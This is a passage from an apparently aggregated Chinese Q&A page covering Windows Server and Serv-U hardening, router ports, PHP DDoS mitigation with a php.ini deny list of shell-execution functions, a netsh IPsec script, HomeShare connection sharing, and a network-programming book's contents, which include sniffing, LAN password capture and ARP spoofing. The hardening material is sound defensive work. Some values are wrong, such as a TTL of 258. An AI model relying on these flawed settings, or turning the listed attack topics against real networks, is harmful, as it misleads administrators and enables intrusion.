ad_priv,process_priv和File_priv权限,这些权限可能泄漏更多的服务器信息包括非mysql的其它信息出去。可以为mysql设置一个启动用户,该用户只对mysql目录有权限。设置安装目录的data数据库的权限(此目录存放了mysql数据库的数据信息)。对于mysql安装目录给users加上读取、列目录和执行权限。
Serv-u安全问题:
安装程序尽量采用最新版本,避免采用默认安装目录,设置好serv-u目录所在的权限,设置一个复杂的管理员密码。修改serv-u的banner信息,设置被动模式端口范围(4001—4003)在本地服务器中设置中做好相关安全设置:包括检查匿名密码,禁用反超时调度,拦截“FTP bounce”攻击和FXP,对于在30秒内连接超过3次的用户拦截10分钟。域中的设置为:要求复杂密码,目录只使用小写字母,高级中设置取消允许使用MDTM命令更改文件的日期。
更改serv-u的启动用户:在系统中新建一个用户,设置一个复杂点的密码,不属于任何组。将servu的安装目录给予该用户完全控制权限。建立一个FTP根目录,需要给予这个用户该目录完全控制权限,因为所有的ftp用户上传,删除,更改文件都是继承了该用户的权限,否则无法操作文件。另外需要给该目录以上的上级目录给该用户的读取权限,否则会在连接的时候出现530 Not logged in, home directory does not exist.比如在测试的时候ftp根目录为d:soft,必须给d盘该用户的读取权限,为了安全取消d盘其他文件夹的继承权限。而一般的使用默认的system启动就没有这些问题,因为system一般都拥有这些权限的。
七、其它
1.隐藏重要文件/目录可以修改注册表实现完全隐藏:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ Current-Version\Explorer\Advanced\Folder\Hi-dden\SHOWALL”,鼠标右击 “CheckedValue”,选择修改,把数值由1改为0
2.启动系统自带的Internet连接防火墙,在设置服务选项中勾选Web服务器;
3.防止SYN洪水攻击:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
新建DWORD值,名为SynAttackProtect,值为2
EnablePMTUDiscovery REG_DWORD 0
NoNameReleaseOnDemand REG_DWORD 1
EnableDeadGWDetect REG_DWORD 0
KeepAliveTime REG_DWORD 300,000
PerformRouterDiscovery REG_DWORD 0
EnableICMPRedirects REG_DWORD 0
4. 禁止响应ICMP路由通告报文:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\interface
新建DWORD值,名为PerformRouterDiscovery 值为0
5. 防止ICMP重定向报文的攻击:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
将EnableICMPRedirects 值设为0
6. 不支持IGMP协议:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
新建DWORD值,名为IGMPLevel 值为0
7.修改终端服务端口:
运行regedit,找到[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp],看到右边的PortNumber了吗?在十进制状态下改成你想要的端口号吧,比如7126之类的,只要不与其它冲突即可。
第二处HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,方法同上,记得改的端口号和上面改的一样就行了。
8.禁止IPC空连接:
cracker可以利用net use命令建立空连接,进而入侵,还有net view,nbtstat这些都是基于空连接的,禁止空连接就好了。打开注册表,找到Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 把这个值改成”1”即可。
9.更改TTL值:
cracker可以根据ping回的TTL值来大致判断你的操作系统,如:
TTL=107(WINNT);
TTL=108(win2000);
TTL=127或128(win9x);
TTL=240或241(linux);
TTL=252(solaris);
TTL=240(Irix);
实际上你可以自己更改的:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters:DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)改成一个莫名其妙的数字如258,起码让那些小菜鸟晕上半天,就此放弃入侵你也不一定哦。
10. 删除默认共享:
有人问过我一开机就共享所有盘,改回来以后,重启又变成了共享是怎么回事,这是2K为管理而设置的默认共享,必须通过修改注册表的方式取消它:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters:AutoShareServer类型是REG_DWORD把值改为0即可
11. 禁止建立空连接:
默认情况下,任何用户通过通过空连接连上服务器,进而枚举出帐号,猜测密码。我们可以通过修改注册表来禁止建立空连接:
Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 的值改成”1”即可。
12.禁用TCP/IP上的NetBIOS
网上邻居-属性-本地连接-属性-Internet协议(TCP/IP)属性-高级-WINS面板-NetBIOS设置-禁用TCP/IP上的NetBIOS。这样cracker就无法用nbtstat命令来读取你的NetBIOS信息和网卡MAC地址了。
13. 账户安全
首先禁止一切账户,除了你自己,呵呵。然后把Administrator改名。我呢就顺手又建了个Administrator账户,不过是什么权限都没有的那种,然后打开记事本,一阵乱敲,复制,粘贴到“密码”里去,呵呵,来破密码吧~!破完了才发现是个低级账户,看你崩溃不?
创建2个管理员用帐号
虽然这点看上去和上面这点有些矛盾,但事实上是服从上面的规则的。 创建一个一般权限帐号用来收信以及处理一些日常事物,另一个拥有Administrators 权限的帐户只在需要的时候使用。可以让管理员使用 “ RunAS” 命令来执行一些需要特权才能作的一些工作,以方便管理
14.更改C:\WINDOWS\Help\iisHelp\common\404b.htm内容改为这样,出错了自动转到首页。
15.本地安全策略和组策略的设置,如果你在设置本地安全策略时设置错了,可以这样恢复成它的默认值
打开 %SystemRoot%\Security文件夹,创建一个 "OldSecurity"子目录,将%SystemRoot%\Security下所有的.log文件移到这个新建的子文件夹中
在%SystemRoot%\Security\database\下找到"Secedit.sdb"安全数据库并将其改名,如改为"Secedit.old"
启动"安全配置和分析"MMC管理单元:"开始"->"运行"->"MMC",启动管理控制台,"添加/删除管理单元",将"安全配置和分析"管理单元添加上
右击"安全配置和分析"->"打开数据库",浏览"C:\WINNT\security\Database"文件夹,输入文件名"secedit.sdb",单击"打开"
当系统提示输入一个模板时,选择"Setup Security.inf",单击"打开",如果系统提示"拒绝访问数据库",不管他,你会发现在"C:\WINNT\security\Database"子文件夹中重新生成了新的安全数据库,在"C:\WINNT\security"子文件夹下重新生成了log文件,安全数据库重建成功。
16.禁用DCOM:
运行中输入 Dcomcnfg.exe。 回车, 单击“控制台根节点”下的“组件服务”。 打开“计算机”子文件夹。对于本地计算机,请以右键单击“我的电脑”,然后选择“属性”。选择“默认属性”选项卡。清除“在这台计算机上启用分布式 COM”复选框。
第二步:
尽管Windows 2003的功能在不断增强,但是由于先天性的原因,它还存在不少安全隐患,要是不将这些隐患“堵住”,可能会给整个系统带来不必要的麻烦;下面笔者就介绍Windows2003中不常见的安全隐患的防堵方法,希望能对各位带来帮助!
堵住自动保存隐患
Windows 2003操作系统在调用应用程序出错时,系统中的Dr. Watson会自动将一些重要的调试信息保存起来,以便日后维护系统时查看,不过这些信息很有可能被黑客“瞄上”,一旦瞄上的话,各种重要的调试信息就会暴露无疑,为了堵住Dr. Watson自动保存调试信息的隐患,我们可以按如下步骤来实现:
1、打开开始菜单,选中“运行”命令,在随后打开的运行对话框中,输入注册表编辑命令“ergedit”命令,打开一个注册表编辑窗口;
2、在该窗口中,用鼠标依次展开HKEY_local_machine\software\Microsoft\WindowsdowsNT\CurrentVersion\AeDebug分支,在对应AeDebug键值的右边子窗口中,用鼠标双击Auto值,在弹出的参数设置窗口中,将其数值重新设置为“0”,
3、打开系统的Windows资源管理器窗口,并在其中依次展开Documents and Settings文件夹、All Users文件夹、Shared Documents文件夹、DrWatson文件夹,最后将对应DrWatson中的User.dmp文件、Drwtsn32.log文件删除掉。
完成上面的设置后,重新启动一下系统,就可以堵住自动保存隐患了。
堵住资源共享隐患
为了给局域网用户相互之间传输信息带来方便,Windows Server 2003系统很是“善解人意”地为各位提供了文件和打印共享功能,不过我们在享受该功能带来便利的同时,共享功能也会“引狼入室”,“大度”地向黑客们敞开了不少漏洞,给服务器系统造成了很大的不安全性;所以,在用完文件或打印共享功能时,大家千万要随时将功能关闭哟,以便堵住资源共享隐患,下面就是关闭共享功能的具体步骤:
1、执行控制面板菜单项下面的“网络连接”命令,在随后出现的窗口中,用鼠标右键单击一下“本地连接”图标;
2、在打开的快捷菜单中,单击“属性”命令,这样就能打开一个“Internet协议(TCP/IP)”属性设置对话框;
3、在该界面中取消“Microsoft网络的文件和打印机共享”这个选项;
4、如此一来,本地计算机就没有办法对外提供文件与打印共享服务了,这样黑客自然也就少了攻击系统的“通道”。
堵住远程访问隐患
在Windows2003系统下,要进行远程网络访问连接时,该系统下的远程桌面功能可以将进行网络连接时输入的用户名以及密码,通过普通明文内容方式传输给对应连接端的客户端程序;在明文帐号传输过程中,实现“安插”在网络通道上的各种嗅探工具,会自动进入“嗅探”状态,这个明文帐号就很容易被“俘虏”了;明文帐号内容一旦被黑客或其他攻击者另谋他用的话,呵呵,小心自己的系统被“疯狂”攻击吧!为了杜绝这种安全隐患,我们可以按下面的方法来为系统“加固”:
1、点击系统桌面上的“开始”按钮,打开开始菜单;
2、从中执行控制面板命令,从弹出的下拉菜单中,选中“系统”命令,打开一个系统属性设置界面;
3、在该界面中,用鼠标单击“远程”标签;
4、在随后出现的标签页面中,将“允许用户远程连接到这台计算机”选项取消掉,这样就可以将远程访问连接功能屏蔽掉,从而堵住远程访问隐患了。
堵住用户切换隐患
Windows 2003系统为我们提供了快速用户切换功能,利用该功能我们可以很轻松地登录到系统中;不过在享受这种轻松时,系统也存在安装隐患,例如我们要是执行系统“开始”菜单中的“注销”命令来,快速“切换用户”时,再用传统的方式来登录系统的话,系统很有可能会本次登录,错误地当作是对计算机系统的一次暴力“袭击”,这样Windows2003系统就可能将当前登录的帐号当作非法帐号,将它锁定起来,这显然不是我们所需要的;不过,我们可以按如下步骤来堵住用户切换时,产生的安全隐患:
在Windows 2003系统桌面中,打开开始菜单下面的控制面板命令,找到下面的“管理工具”命令,再执行下级菜单中的“计算机管理”命令,找到“用户帐户”图标,并在随后出现的窗口中单击“更改用户登录或注销的方式”;在打开的设置窗口中,将“使用快速用户切换”选项取消掉就可以了。
❹ C/C++ 开发Windows防火墙功能的软件
有一本书《Windows程序设计(第二版)》,它的最后一章就是一个完整的防火墙实例程序,比较复杂,涉及到内核模式驱动的设计。
❺ 路由器有哪几类接口,都有什么区别
1、RJ-54端口:在这种端口上通过双绞线连接以太网。
10Base-T的RJ-45端口标志为“ETH”,而100Base-TX的RJ-45端口标志为“10/100bTX”,这是因为快速以太网路由器采用10/100Mb/s自适应电路。
2、AUI端口:这是一种D型15针连接器,用在令牌环网或总线型以太网中。
路由器经AUI端口通过粗同轴电缆收发器连接10Base-5网络,也可以通过外接的AUI-to-RJ-45适配器连接10Base-T以太网,还可以借助其他类型的适配器实现与10Base-2细同轴电缆或10Base-F光缆的连接。
3、高速同步串口:在路由器与广域网的连接中,应用最多的是高速同步串行口(Synchronous Serial Port),这种端口用于连接DDN、帧中继、X.25和PSTH等网络。
通过这种端口所连接的网络两端要求同步通信,以很高的速率进行数据传输。
4、ISDN BRI端口:这种端口通过ISDN线路实现路由器与Internet或其他网络的远程连接。
ISDN BRI三个通道(2B+D)的总带宽为144kb/s,端口采用RJ-45标准,与ISDN NT1的连接使用RJ-45-to-RJ-45直通线。
5、Console端口:Console端口通过配置专用电缆连接至计算机串行口,利用终端仿真程序(如Windows中的超级终端)对路由器进行本地配置。
路由器的Console端口为RJ-45口。Console端口不支持硬件流控。
6、AUX端口:对路由器进行远程配置时要使用“AUX”端口(Auxiliary Prot)。AUX端口在外观上与RJ-45端口一样,只是内部电路不同,实现的功能也不一样。
通过AUX端口与Modem进行连接必须借助RJ-45 to DB9或RJ-45 to DB25适配器进行电路转换。AUX端口支持硬件流控。
7、异步串口:异步串口(ASYNC)主要应用于与Modem或Modem池的连接,以实现远程计算机通过PSTN拨号接入。
(5)passthru过滤数据包扩展阅读:
路由器原理:
网络中的设备相互通信主要是用它们的IP地址,路由器只能根据具体的IP地址来转发数据。IP地址由网络地址和主机地址两部分组成。
在Internet中采用的是由子网掩码来确定网络地址和主机地址。子网掩码与IP地址一样都是32位的,并且这两者是一一对应的。
子网掩码中“1”对应IP地址中的网络地址,“0”对应的是主机地址,网络地址和主机地址就构成了一个完整的IP地址。
在同一个网络中,IP地址的网络地址必须是相同的。计算机之间的通信只能在具有相同网络地址的IP地址之间进行,如果想要与其他网段的计算机进行通信,则必须经过路由器转发出去。
不同网络地址的IP地址是不能直接通信的,即便它们距离非常近,也不能进行通信。路由器的多个端口可以连接多个网段,每个端口的IP地址的网络地址都必须与所连接的网段的网络地址一致。
不同的端口它的网络地址是不同的,所对应的网段也是不同的,这样才能使各个网段中的主机通过自己网段的IP地址把数据发送送到路由器上。
参考资料来源:网络-路由器
❻ 我想利用《寒江独钓》中passthru例子中的AnalysisPacket函数,在中间加一个过滤某个IP的函数,应该怎么写
最近在研究这个东西 看到了 你这个提问就顺便回答一下吧:比如网络层来了一个数据包 目的ip是 des,那么只需j将des.S_addr与inet_addr("你要过滤的ip")这样比较就行了。
❼ 美国服务器怎么防止PHPDOS攻击 LUC Networks
PHP DDOS遭受攻击特点:打开IIS,服务器带宽使用流量马上上升,与被DDOS攻击相反,DDOS攻击是不断接收到大量的数据,Php ddos则是对外发送大量的数据包,造成服务器网络堵塞,此时服务器可能会掉包严重或者表现为经常性的断线。
解决方法:
一、停止IIS服务-----关闭IIS服务后,流量马上会下降,但是在开启后流量会再上升。
二、设置php.ini
1>在C:\Windows\php.ini里查找到disable_functions,添加需要禁用的函数,如下:
disable_functions =gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,
proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,
popepassthru,stream_socket_server,fsocket,fsockopen
2>在c:\windows\php.ini里设其值为Off
allow_url_fopen=Off
3>检查extension=php_sockets.dll,并在前面加分号; 禁用. (;extension=php_sockets.dll)
三、重启IIS,解决。
REM 添加安全策略,名称
netsh ipsec static add policy name=banudp
REM 添加 IP筛选器列表
netsh ipsec static add filterlist name=允许列表
netsh ipsec static add filterlist name=拒绝列表
REM 添加筛选器到IP筛选器列表(允许上网)
netsh ipsec static add filter filterlist=允许列表 srcaddr=me dstaddr=any description=dns访问 protocol=udp mirrored=yes dstport=53
REM 添加筛选器到IP筛选器列表(不让别人访问)
netsh ipsec static add filter filterlist=拒绝列表 srcaddr=any dstaddr=me description=别人到我任何访问 protocol=udp mirrored=yes
REM 添加筛选器操作
netsh ipsec static add filteraction name=可以 action=permit
netsh ipsec static add filteraction name=不可以 action=block
REM 创建一个链接指定 IPSec 策略、筛选器列表和筛选器操作的规则(加入规则到我的安全策略)
netsh ipsec static add rule name=允许规则 policy= banudp filterlist=允许列表 filteraction=可以
netsh ipsec static add rule name=拒绝规则 policy= banudp filterlist=拒绝列表 filteraction=不可以
REM 激活我的安全策略
netsh ipsec static set policy name= banudp assign=y
❽ 锐捷 每次认证之后一分钟就后提示我的系统里是否安装了homeshare的之类的代理程序和passthru的驱动程序
homeshare
1.使用单网卡 使用单网卡共享上网的方式可以免去购买多余网卡的费用,而且 homeshare
不存在任何性能上的问题。 2.不需要设置专门的服务器 每台电脑都需要安装此软件,先开机的电脑将成为服务器。当服务器关机后,其它电脑将会自动成为服务器,保证网络可以继续使用。 3.无缝切换 当服务器关机,客户机切换到服务器的过程中,可以保证客户机中正在进行中的游戏不会中断。无缝切换已经在大多数游戏中测试过,包括CS、Quake、联众世界等。 4.虚拟网络 当你使用SyGate之类支持单网卡共享的软件时,可能会导致你所在小区其他的用户也会从你这里上网,影响他人的使用,到时你的宽带运营商可能就会来找你的麻烦了:-(。使用HomeShare可以设置自己的网络号,使你家庭中的电脑都处在一个虚拟的网络中,不影响小区其它家庭的网络使用。
编辑本段HomeShare软件的应用
利用HomeShare软件技术绕开路由器摆脱宽带网络对路由器的限制,可以轻松实现一拖N多台电脑上网模式。
实现方法
STEP1:在三台计算机上均安装HomeShare软件。 STEP2:在A计算机的HOMESHARE配置界面将其IP地址设置为192.168.22.2,掩码为255.255.255.0,网关地址为192.168.22.1。在连接类型处选择pppoe,然后在下方出现的帐号设置处输入你的ADSL帐号的用户名和密码,让HOMESHARE完成自动拨号。 STEP3:在B计算机上按照和A一样的配置进行设置,值得注意的是在IP地址设置处输入192.168.22.3,网关及掩码地址和A一样,另外在网络号处也要输入与A一致的数字。 STEP4:在C计算机上同样按照STEP3的方法进行设置,唯一区别是IP地址设置为192.168.22.4,而网关,掩码地址及网络号均要保持一致。 当全部设置完毕就实现了三台计算机通过HomeShare进行单网卡共享ADSL上网了。先开机并连上网的计算机将做为临时服务器供其他两台计算机上网使用,如果在上网过程中临时服务器关机或重启的话,另外两台计算机中的一台将立刻从客户机升级为临时服务器提供代理服务。
小提示
在实际使用中笔者发现由于连接在HUB上的所有设备都处在一个广播域,而该软件在寻找服务器或ADSL猫时使用的就是广播数据包,所以对于HOMESHARE软件中网关地址的设置并不那么苛刻,我们只要设置一个没有使用过的IP地址即可。笔者将IP设置为192.168.100.1,网关地址为10.1.1.1后同样可以工作。软件下方显示的状态为“已连接”。 一下的方法行不通,总是一个能上一个不能上,或时好时坏。
❾ 网络连接该选哪个好!!!!
除了Passthru Driver,Microsoft 网络的文件和打印机共享不选,其他的都勾选。勾选后如果还不能上网,你打开网络连接选创建一个新连接,按提示操作,一般就可以上网了。
❿ iocp文件传输系统怎么做
Windows网络与通信程序设计(第2版) 王艳平 这本书写的非常好,我有本王艳平写的 windows程序设计,写得很好,我自己不做网络开发,就没有买网络的那本书!不过推荐你看看,真的很不错!
本书将编程方法、网络协议和应用实例有机结合起来,详细阐明Windows网络编程的各方面内容。本书首先介绍Windows平台上进行网络编程的基础知识,包括网络硬件、术语、协议、Winsock编程接口和各种I/O方法等;然后通过具体实例详细讲述当前流行的高性能可伸缩服务器设计、IP多播和Internet广播、P2P程序设计、原始套接字、SPI、协议驱动的开发和原始以太数据的发送、ARP欺骗技术、LAN和WAN上的扫描和侦测技术、个人防火墙与网络封包截获技术等;最后讲述IP帮助函数和E-mail的开发方法。 本书结构紧凑,内容由浅入...
第1章 计算机网络基础 1
1.1 网络的概念和网络的组成 1
1.2 计算机网络参考模型 2
1.2.1 协议层次 2
1.2.2 TCP/IP参考模型 2
1.2.3 应用层(Application Layer) 3
1.2.4 传输层(Transport Layer) 3
1.2.5 网络层(Network Layer) 3
1.2.6 链路层(Link Layer) 4
1.2.7 物理层(Physical Layer) 4
1.3 网络程序寻址方式 4
1.3.1 MAC地址 4
1.3.2 IP地址 5
1.3.3 子网寻址 6
1.3.4 端口号 8
1.3.5 网络地址转换(NAT) 8
1.4 网络应用程序设计基础 10
1.4.1 网络程序体系结构 10
1.4.2 网络程序通信实体 11
1.4.3 网络程序开发环境 12
第2章 Winsock编程接口 13
2.1 Winsock库 13
2.1.1 Winsock库的装入和释放 13
2.1.2 封装CInitSock类 14
2.2 Winsock的寻址方式和字节顺序 14
2.2.1 Winsock寻址 14
2.2.2 字节顺序 16
2.2.3 获取地址信息 17
2.3 Winsock编程详解 20
2.3.1 Winsock编程流程 20
2.3.2 典型过程图 23
2.3.3 TCP服务器和客户端程序举例 24
2.3.4 UDP编程 26
2.4 网络对时程序实例 28
2.4.1 时间协议(Time Protocol) 28
2.4.2 TCP/IP实现代码 29
第3章 Windows套接字I/O模型 31
3.1 套接字模式 31
3.1.1 阻塞模式 31
3.1.2 非阻塞模式 31
3.2 选择(select)模型 32
3.2.1 select函数 32
3.2.2 应用举例 33
3.3 WSAAsyncSelect模型 36
3.3.1 消息通知和WSAAsyncSelect函数 36
3.3.2 应用举例 37
3.4 WSAEventSelect模型 40
3.4.1 WSAEventSelect函数 40
3.4.2 应用举例 42
3.4.3 基于WSAEventSelect模型的服务器设计 44
3.5 重叠(Overlapped)I/O模型 53
3.5.1 重叠I/O函数 53
3.5.2 事件通知方式 56
3.5.3 基于重叠I/O模型的服务器设计 56
第4章 IOCP与可伸缩网络程序 67
4.1 完成端口I/O模型 67
4.1.1 什么是完成端口(completion port)对象 67
4.1.2 使用IOCP的方法 67
4.1.3 示例程序 69
4.1.4 恰当地关闭IOCP 72
4.2 Microsoft扩展函数 72
4.2.1 GetAcceptExSockaddrs函数 73
4.2.2 TransmitFile函数 73
4.2.3 TransmitPackets函数 74
4.2.4 ConnectEx函数 75
4.2.5 DisconnectEx函数 76
4.3 可伸缩服务器设计注意事项 76
4.3.1 内存资源管理 76
4.3.2 接受连接的方法 77
4.3.3 恶意客户连接问题 77
4.3.4 包重新排序问题 78
4.4 可伸缩服务器系统设计实例 78
4.4.1 CIOCPServer类的总体结构 78
4.4.2 数据结构定义和内存池方案 82
4.4.3 自定义帮助函数 85
4.4.4 开启服务和停止服务 88
4.4.5 I/O处理线程 93
4.4.6 用户接口和测试程序 99
第5章 互联网广播和IP多播 100
5.1 套接字选项和I/O控制命令 100
5.1.1 套接字选项 100
5.1.2 I/O控制命令 102
5.2 广播通信 103
5.3 IP多播(Multicasting) 105
5.3.1 多播地址 105
5.3.2 组管理协议(IGMP) 105
5.3.3 使用IP多播 106
5.4 基于IP多播的组讨论会实例 110
5.4.1 定义组讨论会协议 110
5.4.2 线程通信机制 111
5.4.3 封装CGroupTalk类 111
5.4.4 程序界面 117
第6章 原始套接字 121
6.1 使用原始套接字 121
6.2 ICMP编程 121
6.2.1 ICMP与校验和的计算 121
6.2.2 Ping程序实例 124
6.2.3 路由跟踪 126
6.3 使用IP头包含选项 129
6.3.1 IP数据报格式 129
6.3.2 UDP数据报格式 131
6.3.3 原始UDP封包发送实例 133
6.4 网络嗅探器开发实例 134
6.4.1 嗅探器设计原理 135
6.4.2 网络嗅探器的具体实现 136
6.4.3 侦听局域网内的密码 138
6.5 TCP通信开发实例 140
6.5.1 创建一个原始套接字,并设置IP头选项 140
6.5.2 构造IP头和TCP头 140
6.5.3 发送原始套接字数据报 142
6.5.4 接收数据 146
第7章 Winsock服务提供者接口(SPI) 147
7.1 SPI概述 147
7.2 Winsock协议目录 148
7.2.1 协议特性 149
7.2.2 使用Winsock API函数枚举协议 150
7.2.3 使用Winsock SPI函数枚举协议 151
7.3 分层服务提供者(LSP) 153
7.3.1 运行原理 153
7.3.2 安装LSP 154
7.3.3 移除LSP 158
7.3.4 编写LSP 159
7.3.5 LSP实例 161
7.4 基于SPI的数据报过滤实例 165
7.5 基于Winsock的网络聊天室开发 171
7.5.1 服务端 171
7.5.2 客户端 171
7.5.3 聊天室程序的设计说明 172
7.5.4 核心代码分析 172
第8章 Windows网络驱动接口标准(NDIS)和协议驱动的开发 176
8.1 核心层网络驱动 176
8.1.1 Windows 2000及其后产品的网络体系结构 176
8.1.2 NDIS网络驱动程序 177
8.1.3 网络驱动开发环境 178
8.2 WDM驱动开发基础 181
8.2.1 UNICODE字符串 181
8.2.2 设备对象 181
8.2.3 驱动程序的基本结构 183
8.2.4 I/O请求包(I/O request packet,IRP)和I/O堆栈 183
8.2.5 完整驱动程序示例 186
8.2.6 扩展派遣接口 188
8.2.7 应用举例(进程诊测实例) 191
8.3 开发NDIS网络驱动预备知识 198
8.3.1 中断请求级别(Interrupt Request Level,IRQL) 198
8.3.2 旋转锁(Spin Lock) 198
8.3.3 双链表 199
8.3.4 封包结构 199
8.4 NDIS协议驱动 200
8.4.1 注册协议驱动 200
8.4.2 打开下层协议驱动的适配器 201
8.4.3 协议驱动的封包管理 202
8.4.4 在协议驱动中接收数据 203
8.4.5 从协议驱动发送封包 204
8.5 NDIS协议驱动开发实例 204
8.5.1 总体设计 204
8.5.2 NDIS协议驱动的初始化、注册和卸载 206
8.5.3 下层NIC的绑定和解除绑定 209
8.5.4 发送数据 217
8.5.5 接收数据 219
8.5.6 用户IOCTL处理 225
第9章 网络扫描与检测技术 233
9.1 网络扫描基础知识 233
9.1.1 以太网数据帧 233
9.1.2 ARP 234
9.1.3 ARP格式 236
9.1.4 SendARP函数 237
9.2 原始以太封包的发送 238
9.2.1 安装协议驱动 238
9.2.2 协议驱动用户接口 238
9.2.3 发送以太封包的测试程序 244
9.3 局域网计算机扫描 245
9.3.1 管理原始ARP封包 246
9.3.2 ARP扫描示例 249
9.4 互联网计算机扫描 253
9.4.1 端口扫描原理 253
9.4.2 半开端口扫描实现 254
9.5 ARP欺骗原理与实现 259
9.5.1 IP欺骗的用途和实现原理 259
9.5.2 IP地址冲突 260
9.5.3 ARP欺骗示例 261
第10章 点对点(P2P)网络通信技术 264
10.1 P2P穿越概述 264
10.2 一般概念 265
10.2.1 NAT术语 265
10.2.2 中转 265
10.2.3 反向连接 266
10.3 UDP打洞 267
10.3.1 中心服务器 267
10.3.2 建立点对点会话 267
10.3.3 公共NAT后面的节点 267
10.3.4 不同NAT后面的节点 268
10.3.5 多级NAT后面的节点 269
10.3.6 UDP空闲超时 270
10.4 TCP打洞 271
10.4.1 套接字和TCP端口重用 271
10.4.2 打开点对点的TCP流 271
10.4.3 应用程序看到的行为 272
10.4.4 同步TCP打开 273
10.5 Internet点对点通信实例 273
10.5.1 总体设计 273
10.5.2 定义P2P通信协议 274
10.5.3 客户方程序 275
10.5.4 服务器方程序 287
10.5.5 测试程序 291
第11章 核心层网络封包截获技术 294
11.1 Windows网络数据和封包过滤概述 294
11.1.1 Windows网络系统体系结构图 294
11.1.2 用户模式下的网络数据过滤 295
11.1.3 内核模式下的网络数据过滤 296
11.2 中间层网络驱动PassThru 296
11.2.1 PassThru NDIS中间层驱动简介 296
11.2.2 编译和安装PassThru驱动 297
11.3 扩展PassThru NDIS IM驱动——添加IOCTL接口 297
11.3.1 扩展之后的PassThru驱动(PassThruEx)概况 297
11.3.2 添加基本的DeviceIoControl接口 298
11.3.3 添加绑定枚举功能 302
11.3.4 添加ADAPT结构的引用计数 307
11.3.5 适配器句柄的打开/关闭函数 308
11.3.6 句柄事件通知 315
11.3.7 查询和设置适配器的OID信息 315
11.4 扩展PassThru NDIS IM驱动——添加过滤规则 323
11.4.1 需要考虑的事项 323
11.4.2 过滤相关的数据结构 324
11.4.3 过滤列表 326
11.4.4 网络活动状态 327
11.4.5 IOCTL控制代码 328
11.4.6 过滤数据 331
11.5 核心层过滤实例 339
第12章 Windows网络防火墙开发技术 342
12.1 防火墙技术概述 342
12.2 金羽(Phoenix)个人防火墙浅析 343
12.2.1 金羽(Phoenix)个人防火墙简介 343
12.2.2 金羽(Phoenix)个人防火墙总体设计 344
12.2.3 金羽(Phoenix)个人防火墙总体结构 345
12.3 开发前的准备 345
12.3.1 常量的定义 346
12.3.2 访问规则 348
12.3.3 会话结构 348
12.3.4 文件结构 349
12.3.5 UNICODE支持 355
12.4 应用层DLL模块 356
12.4.1 DLL工程框架 356
12.4.2 共享数据和IO控制 362
12.4.3 访问控制列表ACL(Access List) 364
12.4.4 查找应用程序访问权限的过程 367
12.4.5 类的接口——检查函数 370
12.5 核心层SYS模块 373
12.6 主模块工程 375
12.6.1 I/O控制类 375
12.6.2 主应用程序类 377
12.6.3 主对话框中的属性页 380
12.6.4 主窗口类 381
12.7 防火墙页面 383
12.7.1 网络访问监视页面 383
12.7.2 应用层过滤规则页面 387
12.7.3 核心层过滤规则页面 397
12.7.4 系统设置页面 403
第13章 IP帮助函数 406
13.1 IP配置信息 406
13.1.1 获取网络配置信息 406
13.1.2 管理网络接口 408
13.1.3 管理IP地址 412
13.2 获取网络状态信息 415
13.2.1 获取TCP连接表 415
13.2.2 获取UDP监听表 418
13.2.3 获取IP统计数据 420
13.3 路由管理 427
13.3.1 获取路由表 427
13.3.2 管理特定路由 431
13.3.3 修改默认网关的例子 432
13.4 ARP表管理 433
13.4.1 获取ARP表 433
13.4.2 添加ARP入口 434
13.4.3 删除ARP入口 434
13.4.4 打印ARP表的例子 434
13.5 进程网络活动监视实例 438
13.5.1 获取通信的进程终端 438
13.5.2 Netstate源程序代码 439
第14章 Email协议及其编程 444
14.1 概述 444
14.2 电子邮件介绍 445
14.2.1 电子邮件Internet的地址 445
14.2.2 Internet邮件系统 445
14.2.3 电子邮件信头的结构及分析 446
14.3 SMTP原理 448
14.3.1 SMTP原理分析 448
14.3.2 SMTP工作机制 449
14.3.3 SMTP命令码和工作原理 449
14.3.4 SMTP通信模型 450
14.3.5 SMTP的命令和应答 451
14.4 POP3协议原理 452
14.4.1 POP3协议简介 452
14.4.2 POP3工作原理 453
14.4.3 POP3命令原始码 454
14.4.4 POP3会话实例 459
14.5 实例分析与程序设计 460
14.5.1 总界面设计 460
14.5.2 SMTP客户端设计 461
14.5.3 POP3客户端设计 473